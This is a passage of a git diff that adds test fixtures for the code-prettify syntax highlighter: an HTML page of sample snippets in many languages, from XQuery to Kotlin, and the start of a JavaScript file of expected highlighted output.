+          order by fn:number($version//dls:version-id/text()) descending
+          return $version//dls:version-id/text()
+          )[1]
+ 
+ 
+      return dls:document-version-uri($uri, $latest_version_num)
+  };
+ 
+  declare function comoms-dls:unpublish($uris as item()*) {
+      for $uri in $uris
+      return
+          let $published_doc := comoms-dls:publishedDoc($uri)
+          return
+              if($published_doc) then
+                  let $published_version_uri := xdmp:node-uri($published_doc)
+                  return comoms-dls:unpublishVersion($published_version_uri)        
+              else
+                  ()
+  };
+ 
+  declare function comoms-dls:latestPublishedDocAuthor($uri) {
+      let $author_id := doc($uri)/property::dls:version/dls:author/text()
+      return
+          if($author_id) then
+              comoms-user:getUsername($author_id)
+          else
+              ()
+ 
+  };
+ 
+  (:~
+   : Given a sequence of version URIs, unpublish all of these versions of each document
+   :)
+  declare function comoms-dls:unpublishVersion($version_uris as item()*) {
+      for $uri in $version_uris
+      return
+          let $removePermissions := dls:document-remove-permissions($uri, (xdmp:permission('mkp-anon', 'read')))
+          return dls:document-remove-collections($uri, ("PUBLISHED"))        
+  };
+ 
+  (:~
+   : Given the base URI of a managed piece of content, return the document of the node
+   : of the version that is published
+   :)
+  declare function comoms-dls:publishedDoc($uri) {
+      fn:collection("PUBLISHED")[property::dls:version/dls:document-uri = $uri]
+  };
+ 
+ 
+  (:~
+   : Test if any version of the managed document is published
+   :)
+  declare function comoms-dls:isPublished($uri) {
+      if( comoms-dls:publishedDoc($uri)) then
+          fn:true()
+      else
+          fn:false()
+  };
+ 
+ 
+  declare function comoms-dls:publishedState($uri) {
+      let $doc := comoms-dls:publishedDoc($uri)
+      let $published_uri := if($doc) then xdmp:node-uri($doc) else ()
+      let $latest := comoms-dls:latestVersionUri($uri)
+      return
+          if($doc) then
+              if($latest ne $published_uri) then
+                  "stale"
+              else
+                  "published"
+          else
+              "unpublished"
+  };
+ 
+ 
+  declare function comoms-dls:getManagedDocUri($uri) {
+      let $doc := fn:doc($uri)
+      let $managed_uri := $doc/property::dls:version/dls:document-uri/text()
+      let $managed_uri := if($managed_uri) then $managed_uri else $uri
+      return $managed_uri
+  };
+ 
+  (:~
+   : Given a manage content url (e.g. /content/123456.xml) return the appropriate
+   : version of the document based on what stage collection is being viewed and
+   : what's published
+   :
+   : @param $uri a manage content url (e.g. /content/123456.xml) - NOT A VERSIONED URI
+   :)
+  declare function comoms-dls:doc($uri) {
+      let $doc := fn:root(comoms-dls:collection()[property::dls:version/dls:document-uri = $uri][1])
+      return
+          if($doc) then
+              $doc
+          else
+              let $managedDocInCollection := comoms-dls:collection-name() = xdmp:document-get-collections($uri)
+              return
+                  if($managedDocInCollection) then
+                      fn:doc($uri)
+                  else
+                      ()
+  };
+ 
+  (:~
+   : Get the collection to be used when querying for content
+   : THIS or comoms-dls:collection-name() SHOULD BE USED WHEN BUILDING ANY QUERY FOR MANAGED CONTENT
+   :)
+  declare function comoms-dls:collection()  {
+      fn:collection( comoms-dls:collection-name() )
+  };
+ 
+  (:~
+   : Get the collection nameto be used when querying for content
+   : THIS or comoms-dls:collection() SHOULD BE USED WHEN BUILDING ANY QUERY FOR MANAGED CONTENT
+   :)
+  declare function comoms-dls:collection-name() as xs:string {
+      let $default_collection := "PUBLISHED"
+      return
+          if(comoms-user:isAdmin()) then
+              let $pub_stage_collection_cookie := comoms-util:getCookie("COMOMS_COLLECTION")
+              return
+                  if($pub_stage_collection_cookie) then
+                      $pub_stage_collection_cookie
+                  else
+                      $default_collection
+          else
+              $default_collection
+  };
+ 
+  (:~
+   : Check if the published collection is being viewed
+   :)
+  declare function comoms-dls:isViewingPublished() {
+      if(comoms-dls:collection-name() = "PUBLISHED") then
+          fn:true()
+      else
+          fn:false()
+  };
+ 
+  (:~
+   : Get the best URL for the content URI.
+   : This is either the default URI based on detail type or should also take
+   : into account friendly urls and navigation structures to figure out the
+   : best choice
+   :)
+  declare function comoms-dls:contentUrl($uri) {
+ 
+      (: TODO: add friendly URL and nav structure logic 1st :)
+ 
+      let $doc := fn:doc($uri)
+      let $managedDocUri := $doc/property::dls:version/dls:document-uri
+      let $uri := if($managedDocUri) then $managedDocUri else $uri
+      let $type := $doc/node()/fn:name()
+      let $content_id := fn:tokenize( fn:tokenize($uri, "/")[3], "\.")[1]
+      return
+          fn:concat("/", $type, "/", $content_id)
+  };
+ 
+  (:
+   :
+   :  gets list of doc versions and uri.
+   :
+   :)
+  declare function comoms-dls:versionHistory($uri) {
+      let $published_doc := comoms-dls:publishedDoc($uri)
+      let $published_uri := if($published_doc) then xdmp:node-uri($published_doc) else ()
+      return
+      <versions>
+          {
+          for $version in dls:document-history($uri)/dls:version
+            let $version_num := $version/dls:version-id/text()
+            let $created := $version/dls:created/text()
+            let $author_id := $version/dls:author/text()
+            let $author := comoms-user:getUsername($author_id)
+ 
+ 
+            let $note := $version/dls:annotation/text()
+            let $version_uri := xdmp:node-uri(dls:document-version($uri, $version_num))
+            let $published := $published_uri eq $version_uri
+            return
+              <version>
+                  <version-number>{$version_num}</version-number>
+                  <created>{$created}</created>                
+                  <author>{$author}</author>
+                  <published>{$published}</published>
+                  <version-uri>{$version_uri}</version-uri>
+              </version>  
+          }        
+      </versions>
+  };
+ 
+ 
+ 
+ 
+ 
+ 
+  (: ########################################################################### :)
+  (: PRIVATE FUNCTIONS :)
+  (: ########################################################################### :)
+ 
+  declare function comoms-dls:_import() {
+      "xquery version '1.0-ml';
+       import module namespace dls = 'http://marklogic.com/xdmp/dls' at '/MarkLogic/dls.xqy'; "
+  };  
+ 
+(: ----
+---- :)
+xquery version '1.0-ml';
+declare variable $URI as xs:string external;
+ 
+declare function local:document-move-forest($uri as xs:string, $forest-ids as xs:unsignedLong*)
+{
+  xdmp:document-insert(
+    $uri,
+    fn:doc($uri),
+    xdmp:document-get-permissions($uri),
+    xdmp:document-get-collections($uri),
+    xdmp:document-get-quality($uri),
+    $forest-ids
+  )
+};
+ 
+let $xml :=
+  <xml att="blah" att2="blah">
+    sdasd<b>asdasd</b>
+  </xml>
+(: -------- :)
+for $d in fn:doc("depts.xml")/depts/deptno
+let $e := fn:doc("emps.xml")/emps/emp[deptno = $d]
+where fn:count($e) >= 10
+order by fn:avg($e/salary) descending
+return
+   <big-dept>
+      {
+      $d,
+      <headcount>{fn:count($e)}</headcount>,
+      <avgsal>{fn:avg($e/salary)}</avgsal>
+      }
+   </big-dept>
+(: -------- :)
+declare function local:depth($e as node()) as xs:integer
+{
+   (: A node with no children has depth 1 :)
+   (: Otherwise, add 1 to max depth of children :)
+   if (fn:empty($e/*)) then 1
+   else fn:max(for $c in $e/* return local:depth($c)) + 1
+};
+ 
+local:depth(fn:doc("partlist.xml"))
+ 
+(: -------- :)
+<html><head/><body>
+{
+  for $act in doc("hamlet.xml")//ACT
+  let $speakers := distinct-values($act//SPEAKER)
+  return
+    <div>{ string($act/TITLE) }</h1>
+      <ul>
+      {
+        for $speaker in $speakers
+        return <li>{ $speaker }</li>
+      }
+      </ul>
+    </div>
+}
+</body></html>
+(: -------- :)
+{
+	for $book in doc("books.xml")//book
+        return
+	if (contains($book/author/text(),"Herbert") or contains($book/author/text(),"Asimov"))
+		then $book
+	else $book/text()
+	
+	let $let := <x>"test"</x>
+	return element element {
+	attribute attribute { 1 },
+	element test { 'a' },
+	attribute foo { "bar" },
+	fn:doc()[ foo/@bar eq $let ],
+	//x }
+}
+(: -------- :)
+<bib>
+ {
+  for $b in doc("http://bstore1.example.com/bib.xml")/bib/book
+  where $b/publisher = "Addison-Wesley" and $b/@year > 1991
+  return
+    <book year="{ $b/@year }">
+     { $b/title }
+    </book>
+ }
+</bib>
+(: -------- :)
+
+ +

Nemerle

+
+class Set ['a]
+{
+  mutable storage : list ['a] = [];
+  public Add (e : 'a) : void
+  {
+    when (! Contains (e))
+      storage ::= e;
+  }
+  public Contains (e : 'a) : bool
+  {
+    storage.Contains (e)
+  }
+}
+ 
+def s1 = Set ();
+s1.Add (3);
+s1.Add (42);
+assert (s1.Contains (3));
+// s1.Add ("foo"); // error here!
+def s2 = Set ();
+s2.Add ("foo");
+assert (s2.Contains ("foo"));
+
+ +

LaTeX

+
% resume.tex
+% vim:set ft=tex spell:
+\documentclass[10pt,letterpaper]{article}
+\usepackage[letterpaper,margin=0.8in]{geometry}
+\usepackage{mdwlist}
+\usepackage[T1]{fontenc}
+\usepackage{textcomp}
+\pagestyle{empty}
+\setlength{\tabcolsep}{0em}
+
+ +

Escaped quotes in Bash

+

Issue #144

+
+#! /bin/bash
+# toascii.sh
+for i in $(echo $* | fold -w 1);do
+  printf "%x " \'$i;
+done;
+echo
+
+ +

Regular expression in <SCRIPT> body

+

Issue #145

+
+<script type="text/javascript">
+<!--
+        var target = $$.css('backgroundImage').replace(/^url[\(\)'"]/g, '');
+
+        // nice long chain: wrap img element in span
+        $$.wrap('<span style="position: relative;"></span>')
+-->
+</script>
+
+ +

Clojure

+
+; Clojure test comment
+(ns test
+ (:gen-class))
+
+(def foo "bar")
+(defn bar [arg1 arg2 & args]
+  "sample function"
+  (for [arg args]
+    (prn arg)))
+
+(bar "foo" "bar" "blah" :baz)
+
+ +

HTML5 language on CODE

+

The text is specified to be lisp by the class attribute. +Semicolon is normally a valid punctuation character but +in lisp it is a comment so should be colored as a comment +if the className is being properly parsed.

+; foo + +

HTML5 language on nested CODE element

+

The language is attached to a CODE element inside a PRE.

+
; foo
+ +

HTML5 language on nested CODE element not foiled by space

+

The language is attached to a CODE element inside a PRE and there +is space between the PRE element's tags and CODE element's tags.

+
+
+; foo
+
+
+ +

HTML5 nested CODE element language ignored if not only content

+

The below is not treated as lisp despite there being a lisp +language specifier on the contained CODE element, the CODE element +does not wrap all non-space content.

+
+before CODE
+; foo
+
+ +

Language using XML processing instrution

+

The language is attached to an HTML5 comment that looks like an XML +processing instruction.

+ +
; foo
+ +

Language and line numbers using HTML comment

+

The language is attached to a regular HTML5 comment that looks like an XML +processing instruction.

+ +
; foo
+ +

Language and line numbers using HTML comment

+

The language is attached to a regular HTML5 comment that looks like an XML +processing instruction.

+ +
; foo
+ +

Language and line numbers using HTML comment

+

The language is attached to a regular HTML5 comment that looks like an XML +processing instruction.

+ +
; foo
+ +

Don't reprettify prettified content

+

Issue #185

+"No tag backs." + +

Issue #261

+
  1. "No tag backs."
+ +

C type not full word

+

Issue #201

+static Persistent<String> listeners_symbol; + +

Pascal

+
+(* some comment here *)
+PROCEDURE TestCase.AssertEquals(msg:String; expect, act:Longint);
+VAR ex, ac:String;
+BEGIN
+  IF expect <> act THEN
+  BEGIN
+    Str(expect, ex);
+    Fail(Concat(msg,' expected ',ex,' but was ',ac));
+  END;
+
+  factors := new(ArrayListPtr, Init);
+
+  FOR candidate := 2 TO i DO
+  BEGIN
+    WHILE i MOD candidate = 0 DO
+    BEGIN
+      factors^.Add(candidate);
+      i := i DIV candidate;
+    END;
+  END;
+END;
+
+ +

BASIC

+
+200 REM ----- method teardown
+210 PRINT "green"
+220 RETURN
+470 IF af=0 THEN GOTO 520
+480 FOR j=1 TO af
+500 ac=pf(j) : me$=STR$(j)+". factor" : GOSUB 100
+510 NEXT
+530 RETURN
+1000 DATA "one", 1, 0
+
+ +

Dart

+
+part of myLib;
+
+part 'something.dart';
+
+import 'dart:math' as test show foo, bar;
+
+class Point {
+  final num x, y;
+
+  Point(this.x, this.y);
+  Point.zero() : x = 0, y = 0;  // Named constructor
+                                // with an initializer list.
+
+  num distanceTo(Point other) {
+    var dx = x - other.x;
+    var dy = y - other.y;
+    return sqrt(dx * dx + dy * dy);
+  }
+}
+
+// This is a single-line comment.
+
+/*
+This is a
+multiline comment.
+*/
+
+main() {
+  Point p = new Point(7, 12);
+  String thing = 'It\'s awesome!';
+  String thing2 = '''
+This is a test! \'''
+This is the end of the test''';
+  String thing3 = r"""
+This is a raw
+multiline string!""";
+  num x = 0x123ABC;
+  num y = 1.8e-12;
+  bool flag = false;
+  String raw = r"This is a raw string, where \n doesn't matter";
+}
+
+ +

TCL

+
#!/bin/tclsh
+proc fib {n} {
+    set a 0
+    set b 1
+    while {$n > 0} {
+        set tmp $a
+        set a [expr $a + $b]
+        set b $tmp
+        incr n -1
+    }
+    return $a
+}
+
+ +

R, S

+
+### Example R script for syntax highlighting
+
+# This is a comment
+
+## Valid names
+abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV0123456789._a <- NULL
+.foo_ <- NULL
+._foo <- NULL
+
+## Invalid names
+0abc <- NULL
+.0abc <- NULL
+abc+cde <- NULL
+
+## Reserved Words
+NA
+NA_integer_
+NA_real_
+NA_character_
+NA_complex_
+NULL
+NaN
+Inf
+## Not reserved
+NULLa <- NULL
+NULL1 <- NULL
+NULL. <- NULL
+NA_foo_ <- NULL
+
+## Numbers
+12345678901
+123456.78901
+123e3
+123E3
+1.23e-3
+1.23e3
+1.23e-3
+## integer constants
+123L
+1.23L
+## imaginary numbers
+123i
+-123i
+123e4i
+123e-4i
+## Hex numbers
+0xabcdefABCDEF01234
+0xabcp123
+0xabcP123
+## Not hex
+0xg
+
+## Special operators %xyz%
+## %xyz%
+1 %% 2
+diag(2) %*% diag(2)
+1 %/% 2
+1 %in% 1:10
+diag(2) %o% diag(2)
+diag(2) %x% diag(2)
+`%foo bar%` <- function(x, y) x + y
+1 %foo bar% 2
+
+## Control Structures (3.2) and Function
+## if, else
+if (TRUE) print("foo") else print("bar")
+## For, in
+for(i in 1:5) {
+    print(i)
+}
+## While, break
+i <- 1
+while (TRUE) {
+    i <- i + 1
+    if (i > 3) break
+}
+## Repeat
+repeat {1+1}
+## Switch
+x <- 3
+switch(x, 2+2, mean(1:10), rnorm(5))
+## Function, dot-dot-dot, return
+foo <- function(...) {
+    return(sum(...))
+}
+# Not keywords
+functiona <- 2 + 2
+function. <- 2 + 2
+function1 <- 2 + 2
+
+
+## Grouping Tokens 10.3.7
+## Parentheses
+1 + (2 + 3)
+## brackets
+foo <- function(a) {
+    a + 1
+}
+
+## Indexing 10.3.8
+## []
+bar <- 1:10
+bar[3]
+## [[]]
+foo <- list(a=1, b=2, c=3)
+foo[["a"]]
+## $
+foo$a
+foo$"a"
+
+## Operators
+2 - 2
+2 + 2
+2 ~ 2
+! TRUE
+?"help"
+1:2
+2 * 2
+2 / 2
+2^2
+2 < 2
+2 > 2
+2 == 2
+2 >= 2
+2 <= 2
+2 != 2
+TRUE & FALSE
+TRUE && FALSE
+TRUE | FALSE
+TRUE || FALSE
+foo <- 2 + 2
+foo = 2 + 2
+2 + 2 -> foo
+foo <<- 2 + 2
+2 + 2 ->> foo
+base:::sum
+base::sum
+
+## Strings
+foo <- "hello, world!"
+foo <- 'hello, world!'
+foo <- "Hello, 'world!"
+foo <- 'Hello, "world!'
+foo <- 'Hello, \'world!\''
+foo <- "Hello, \"world!\""
+foo <- "Hello,
+world!"
+foo <- 'Hello,
+world!'
+
+## Backtick strings
+`foo123 +!"bar'baz` <- 2 + 2
+
+ +

MUMPS

+
+HDR ; -- prt/display header
+ N X,I
+ I '$D(VALMHDR) X:$G(VALM("HDR"))]"" VALM("HDR")
+ ; -- prt hdr line
+ W:'$D(VALMPG1) @IOF K VALMPG1
+ W:VALMCC $C(13)_IOUON_$C(13)_IOINHI_$C(13)       ; -- turn on undln/hi
+ I $E(IOST,1,2)="C-" D IOXY^VALM4(0,0)            ; -- position cursor
+ W $E(VALM("TITLE"),1,30)                         ; -- prt title
+ W:VALMCC IOINORM,IOUON                           ; -- turn off hi
+ W $J("",30-$L(VALM("TITLE")))                    ; -- fill in w/blanks
+ I $E(IOST,1,2)="C-" W $C(13) D IOXY^VALM4(30,0)  ; -- position cursor
+ W $J("",((VALMWD-80)/2)),$$HTE^XLFDT($H,1),$J("",10+((VALMWD-80)/2)),"Page: ",$J(VALMPGE,4)," of ",$J($$PAGE^VALM4(VALMCNT,VALM("LINES")),4)_$S($D(VALMORE):"+",1:" ") ; -- prt rest of hdr
+ W:VALMCC IOUOFF I $E(IOST,1,2)="C-" D IOXY^VALM4(0,0) ; -- turn off undln
+ F I=1:1:VALM("TM")-3 W !,$S('$D(VALMHDR(I)):"",$L(VALMHDR(I))>(VALMWD-1):$$EXTRACT^VALM4($G(VALMHDR(I))),1:VALMHDR(I)) ; -- prt hdr
+ Q
+
+ +

LLVM

+

Hello world module

+
+; Declare the string constant as a global constant.
+@.str = private unnamed_addr constant [13 x i8] c"hello world\0A\00"
+
+; External declaration of the puts function
+declare i32 @puts(i8* nocapture) nounwind
+
+; Definition of main function
+define i32 @main() {   ; i32()*
+  ; Convert [13 x i8]* to i8  *...
+  %cast210 = getelementptr [13 x i8]* @.str, i64 0, i64 0
+
+  ; Call puts function to write out the string to stdout.
+  call i32 @puts(i8* %cast210)
+  ret i32 0
+}
+
+; Named metadata
+!1 = metadata !{i32 42}
+!foo = !{!1, null}
+
+ +

Regex following '!'

+

Issue #217

+
+if(!/^https?:\/\//i.test(val) && foo == 'bar') {
+    val = 'http://' + val;
+}
+
+ +

MATLAB

+

Issue #32

+
+%%%%%%%%%%%%%%%%%% DATA TYPES %%%%%%%%%%%%%%%%%%
+
+v = [1,2,3;4,5,6];
+v(v>4) = 0;
+
+s = struct('key',1, 'key2','string');
+s.key = 2;
+
+C = cell(1,2);
+C{1,1} = 0:9;
+
+double(1)
+single(1)
+uint8(1)
+int8(1)
+
+%%%%%%%%%%%%%%%%%% STRINGS & TRANSPOSE %%%%%%%%%%%%%%%%%%
+
+plot(data');
+legend(labels)
+
+str = 'asdasd';     % this is a string
+str = 'asdas';
+str = 'sdasd''sdasd';
+
+str = ['one' 'two' 'three'];
+str = strcat('one', 'two', 'three');
+
+% matrix transpose
+M = rand(3,3)';
+x = M.';
+x = [10 20; 30, 40]';
+disp(x')
+fprintf('%d\n', x(:)')      % with comment
+{1,2}'                      % another comment
+
+%%%%%%%%%%%%%%%%%% LINE CONTINUATION %%%%%%%%%%%%%%%%%%
+
+[1 20; ...
+30 4]
+
+['gdgsd'...
+'sdfs']
+
+{...
+'sdasd' ;
+'asdsad'}
+
+%%%%%%%%%%%%%%%%%% SYSTEM COMMANDS %%%%%%%%%%%%%%%%%%
+
+!touch file.txt
+
+%%%%%%%%%%%%%%%%%% COMMAND OUTPUT %%%%%%%%%%%%%%%%%%
+
+>> 1+1
+ans =
+     2
+
+>> 1+1
+
+ans =
+
+     2
+
+%%%%%%%%%%%%%%%%%% KEYWORDS %%%%%%%%%%%%%%%%%%
+
+function ret = fcn(in)
+	ret = sum(in.^2);
+end
+
+classdef CC < handle
+	properties (SetAccess = public)
+		x = 0;
+	end
+	methods
+		function this = CC(varargin)
+			this.x = 9;
+		end
+	end
+end
+
+x = [];
+parfor i=1:10
+	x[i] = i;
+end
+
+true ~= false
+
+if x==1
+	true
+elseif
+	false
+else
+	return
+end
+
+while true
+	continue
+	break
+end
+
+try
+	error('aa:aa', 'asdasd')
+catch ME
+	warning(ME)
+end
+
+switch x
+	case 1
+		disp(1)
+	otherwise
+		0
+end
+
+%%%%%%%%%%%%%%%%%% NUM LITERALS %%%%%%%%%%%%%%%%%%
+
+1
+1.
+.1
+1.0
+-1
+-1.
+-.1
+-1.0
++10
++01.
++.1
++1.0
+1e1
+1e-1
+1.e1
+1.e-1
+1.0e1
+1.0e-1
+.1e1
+.1e-1
+-.1e+1
++1.e-1
+
+1i
+.10j
+-1.001i
++1e-100j
+-.10e-01i
+
+% unary vs binary operators
+1+1
+1+ 1
+1 +1
+1 + 1
++1+1
++1+ 1
++1 +1
++1 + 1
+
+%%%%%%%%%%%%%%%%%% COMMENTS %%%%%%%%%%%%%%%%%%
+
+% % comment % %
+   % comment
+% comment
+%# comment
+%% comment
+%#x = sum(x);
+
+%{
+block comment
+%}
+
+%{
+%}
+
+%{
+
+%}
+
+%{
+1
+2
+%}
+
+%{
+% sdf {}
+sdf
+%asda{}
+sfds
+%}
+
+    %{
+dsf
+        %}
+
+%{%}
+
+%{ zzz=10; %}
+
+%{%x=10;%}
+
+%{  x
+a=10;
+%}
+
+%{
+%a=10;
+%}   x
+
+% nested block comments fail
+%{
+dfsdf
+%{
+xxx
+%}
+dfsdf
+%}
+
+% fails here!
+%{
+x=10;
+%%{
+%%}
+y=20;
+%}
+
+ +

Elixir

+
+defmodule Foo.Bar do
+  @moduledoc """
+  Tests syntax highlighting for Elixir
+  """
+
+  use Bitwise
+  require Logger
+  alias __MODULE__, as: This
+
+  @default_token_length 10_000
+
+
+  @spec token(length :: integer) :: String.t
+
+  def token(length \\ @default_token_length), do: String.duplicate("x", length)
+
+
+  defp _not_exported(), do: 0xFF + 0xF_F - 0xff
+
+
+  def other(foo, bar) do
+    fun = fn{_a, b} -> b + 1_3.1_4 end
+    fun.(1.0e+20)
+    _str = "string without #{inspect(42)} interpolation" <> " some more
+    with newlines \
+    and newlines"
+    charlist = 'some\'chars
+    with newlines \
+    and newlines'
+    <<x::utf8, _y::size(8), data::binary>> = "fooo"
+    ls = [1 | [2, 3]]
+    map = %{"baz" => "ban"}
+    map = %{foo: :bar, "yes, this compiles": :"also an atom"}
+    :erlang.time()
+    case {foo, bar} do
+      {1, 2} -> 3
+      _something_else -> :error
+      _ -> :"this won't match"
+    end
+    r = 2
+    _bitwise_not = ~~~r
+
+    ~r/foo/iu # regex sigils are treated as normal ones
+    ~S|we have "quotes" and 'quotes' and| <> " more string"
+    ~c"custom sigil char \"is\" fine too"
+    ~r'hello'
+    ~w[hell\] #o] #sigil does not expand to the comment
+    ~w{hello}
+    ~C<hello>
+  end
+
+end
+
+ +

Kotlin

+
+package test;
+
+import kotlin.Int
+
+// Single line comment
+/*
+ * Multiline
+ * comment
+ */
+
+typealias SomeNumber = Int
+
+val number: Long = 1_000L
+var float: Float = 12.34f
+0xFF_FF
+3.14
+
+314e-2
+0.314e1
+
+protected override fun ifBoolean(condition: Boolean? = null) {}
+
+::ifBoolean
+
+constructor() : super()
+
+"\"true\""
+'a'
+
+"""
+aaaaaaaaaaa
+"""
+
+loop@ for()
+
+break @loop
+
+enum class `true`
+
+data class Person(val name: String)
+
+enum class Size {
+    BIG, MEDIUM, SMALL
+}
+
+class Ball(val color: String, val size: Size) {
+    companion object {}
+
+    fun isBig() = size == Size.BIG
+
+    val isMedium: Boolean
+        get() = size == Size.MEDIUM
+}
+
+fun Boolean?.isNull(): Boolean = this == null
+
+fun Boolean?.getOrThrow(): Boolean = this ?: throw Exception()
+
+ + diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test_2.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test_2.js new file mode 100644 index 000000000..03e29f5ae --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test_2.js @@ -0,0 +1,1072 @@ +/** + * maps ids of rewritten code to the expected output. + * For brevity, has been changed to `FOO + * and < /span> has been changed to `END. + */ +var goldens = { + xquery: ( + '`COM(: \n' + + '\tTook some of Mike Brevoort\'s xquery code samples because they are nice and show common xquery syntax \n' + + ':)`END`PLN\n' + + ' \n' + + ' `END`COM(:~\n' + + ' : Given a sequence of version URIs, publish all of these versions of each document\n' + + ' : If there is a version of the same document already published, unpublish it 1st\n' + + ' :\n' + + ' : When "publish" is referred to, we mean that it is put into the PUBLISHED collection\n' + + ' : unpublish removes content from this collection\n' + + ' : @param $version_uris - sequence of uris of versions of managed documents to publish\n' + + ' :)`END`PLN\n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:publish(`END$version_uris`END`PLN `END`KWDas`END`PLN `END`KWDitem`END`PLN()*) {\n' + + ' `END`KWDfor`END`PLN `END$uri`END`PLN `END`KWDin`END`PLN `END$version_uris`END`PLN\n' + + ' `END`KWDlet`END`PLN `END$doc`END`PLN := `ENDfn:doc`END`PLN(`END$uri`END`PLN)\n' + + ' `END`KWDlet`END`PLN `END$managed_base_uri`END`PLN := `END$doc`END`PLN/`END`KWDnode`END`PLN()/property::dls:version/dls:document-uri/`END`KWDtext`END`PLN()\n' + + ' `END`KWDlet`END`PLN `END$existing`END`PLN := comoms-dls:publishedDoc(`END$managed_base_uri`END`PLN)\n' + + ' `END`KWDlet`END`PLN `END$unpublishExisting`END`PLN := `END`KWDif`END`PLN(`END$existing`END`PLN) `END`KWDthen`END`PLN comoms-dls:unpublishVersion((`ENDxdmp:node-uri`END`PLN(`END$existing`END`PLN))) `END`KWDelse`END`PLN ()\n' + + ' `END`KWDlet`END`PLN `END$addPermissions`END`PLN := `ENDdls:document-add-permissions`END`PLN(`END$uri`END`PLN, (`ENDxdmp:permission`END`PLN(`END`STR\'mkp-anon\'`END`PLN, `END`STR\'read\'`END`PLN)))\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `ENDdls:document-add-collections`END`PLN(`END$uri`END`PLN, (`END`STR"PUBLISHED"`END`PLN)) \n' + + ' };\n' + + ' \n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:publishLatest(`END$uri`END`PLN) {\n' + + ' `END`COM(: TODO check if it\'s in the draft collection probably :)`END`PLN\n' + + ' \n' + + ' `END`KWDlet`END`PLN `END$latest_version_uri`END`PLN := comoms-dls:latestVersionUri(`END$uri`END`PLN)\n' + + ' `END`KWDlet`END`PLN `END$log`END`PLN:= `ENDxdmp:log`END`PLN(`ENDfn:concat`END`PLN(`END`STR"latest: "`END`PLN, `END$latest_version_uri`END`PLN)) \n' + + ' `END`KWDlet`END`PLN `END$log`END`PLN:= `ENDxdmp:log`END`PLN(`ENDfn:concat`END`PLN(`END`STR"uri: "`END`PLN, `END$uri`END`PLN)) \n' + + ' `END`KWDreturn`END`PLN comoms-dls:publish(`END$latest_version_uri`END`PLN) \n' + + ' \n' + + ' };\n' + + ' \n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:latestVersionUri(`END$uri`END`PLN) {\n' + + ' `END`KWDlet`END`PLN `END$latest_version_num`END`PLN :=\n' + + ' (\n' + + ' `END`KWDfor`END`PLN `END$version`END`PLN `END`KWDin`END`PLN `ENDdls:document-history`END`PLN(`END$uri`END`PLN)/dls:version\n' + + ' `END`KWDorder`END`PLN `END`KWDby`END`PLN `ENDfn:number`END`PLN(`END$version`END`PLN//dls:version-id/`END`KWDtext`END`PLN()) `END`KWDdescending`END`PLN\n' + + ' `END`KWDreturn`END`PLN `END$version`END`PLN//dls:version-id/`END`KWDtext`END`PLN()\n' + + ' )[1]\n' + + ' \n' + + ' \n' + + ' `END`KWDreturn`END`PLN `ENDdls:document-version-uri`END`PLN(`END$uri`END`PLN, `END$latest_version_num`END`PLN)\n' + + ' };\n' + + ' \n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:unpublish(`END$uris`END`PLN `END`KWDas`END`PLN `END`KWDitem`END`PLN()*) {\n' + + ' `END`KWDfor`END`PLN `END$uri`END`PLN `END`KWDin`END`PLN `END$uris`END`PLN\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`KWDlet`END`PLN `END$published_doc`END`PLN := comoms-dls:publishedDoc(`END$uri`END`PLN)\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`KWDif`END`PLN(`END$published_doc`END`PLN) `END`KWDthen`END`PLN\n' + + ' `END`KWDlet`END`PLN `END$published_version_uri`END`PLN := `ENDxdmp:node-uri`END`PLN(`END$published_doc`END`PLN)\n' + + ' `END`KWDreturn`END`PLN comoms-dls:unpublishVersion(`END$published_version_uri`END`PLN) \n' + + ' `END`KWDelse`END`PLN\n' + + ' ()\n' + + ' };\n' + + ' \n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:latestPublishedDocAuthor(`END$uri`END`PLN) {\n' + + ' `END`KWDlet`END`PLN `END$author_id`END`PLN := `ENDdoc`END`PLN(`END$uri`END`PLN)/property::dls:version/dls:author/`END`KWDtext`END`PLN()\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`KWDif`END`PLN(`END$author_id`END`PLN) `END`KWDthen`END`PLN\n' + + ' comoms-user:getUsername(`END$author_id`END`PLN)\n' + + ' `END`KWDelse`END`PLN\n' + + ' ()\n' + + ' \n' + + ' };\n' + + ' \n' + + ' `END`COM(:~\n' + + ' : Given a sequence of version URIs, unpublish all of these versions of each document\n' + + ' :)`END`PLN\n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:unpublishVersion(`END$version_uris`END`PLN `END`KWDas`END`PLN `END`KWDitem`END`PLN()*) {\n' + + ' `END`KWDfor`END`PLN `END$uri`END`PLN `END`KWDin`END`PLN `END$version_uris`END`PLN\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`KWDlet`END`PLN `END$removePermissions`END`PLN := `ENDdls:document-remove-permissions`END`PLN(`END$uri`END`PLN, (`ENDxdmp:permission`END`PLN(`END`STR\'mkp-anon\'`END`PLN, `END`STR\'read\'`END`PLN)))\n' + + ' `END`KWDreturn`END`PLN `ENDdls:document-remove-collections`END`PLN(`END$uri`END`PLN, (`END`STR"PUBLISHED"`END`PLN)) \n' + + ' };\n' + + ' \n' + + ' `END`COM(:~\n' + + ' : Given the base URI of a managed piece of content, return the document of the node\n' + + ' : of the version that is published\n' + + ' :)`END`PLN\n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:publishedDoc(`END$uri`END`PLN) {\n' + + ' `ENDfn:collection`END`PLN(`END`STR"PUBLISHED"`END`PLN)[property::dls:version/dls:document-uri = `END$uri`END`PLN]\n' + + ' };\n' + + ' \n' + + ' \n' + + ' `END`COM(:~\n' + + ' : Test if any version of the managed document is published\n' + + ' :)`END`PLN\n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:isPublished(`END$uri`END`PLN) {\n' + + ' 